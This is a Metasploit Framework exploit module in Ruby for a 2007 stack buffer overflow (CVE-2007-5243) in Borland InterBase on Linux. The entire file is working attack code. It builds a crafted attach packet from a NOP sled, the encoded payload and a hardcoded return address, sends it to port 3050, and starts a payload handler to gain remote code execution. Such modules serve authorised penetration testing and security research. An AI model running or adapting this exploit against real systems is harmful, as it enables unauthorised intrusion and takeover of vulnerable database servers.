Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = GoodRanking

        include Msf::Exploit::Remote::Tcp

        def initialize(info = {})

                super(update_info(info,

                        'Name'                => 'Borland InterBase PWD_db_aliased() Buffer Overflow',

                        'Description'        => %q{

                                This module exploits a stack buffer overflow in Borland InterBase

                                by sending a specially crafted attach request.

                        },

                        'Version'        => '$Revision$',

                        'Author'        =>

                                [

                                        'ramon',

                                        'Adriano Lima <adriano[at]risesecurity.org>',

                                ],

                        'Arch'                => ARCH_X86,

                        'Platform'        => 'linux',

                        'References'        =>

                                [

                                        [ 'CVE', '2007-5243' ],

                                        [ 'OSVDB', '38607' ],

                                        [ 'BID', '25917' ],

                                        [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],

                                ],

                        'Privileged'        => true,

                        'License'        => MSF_LICENSE,

                        'Payload'        =>

                                {

                                        'Space' => 512,

                                        'BadChars' => "\x00\x2f\x3a\x40\x5c",

                                },

                        'Targets'        =>

                                [

                                        # 0x0804cbe4 pop esi; pop ebp; ret

                                        [

                                                'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',

                                                { 'Ret' => 0x0804cbe4 }

                                        ],

                                ],

                        'DefaultTarget'        => 0,

                        'DisclosureDate'  => 'Oct 03 2007'

                ))

                register_options(

                        [

                                Opt::RPORT(3050)

                        ],

                        self.class

                )

        end

        def exploit

                connect

                # Attach database

                op_attach = 19

                length = 1152

                remainder = length.remainder(4)

                padding = 0

                if remainder > 0

                        padding = (4 - remainder)

                end

                buf = ''

                # Operation/packet type

                buf << [op_attach].pack('N')

                # Id

                buf << [0].pack('N')

                # Length

                buf << [length].pack('N')

                # It will return into this nop block

                buf << make_nops(length - payload.encoded.length - 4)

                # Payload

                buf << payload.encoded

                # Target

                buf << [target.ret].pack('V')

                # Padding

                buf << "\x00" * padding

                # Length

                buf << [1024].pack('N')

                # Random alpha data

                buf << rand_text_alpha(1024)

                sock.put(buf)

                handler

        end

end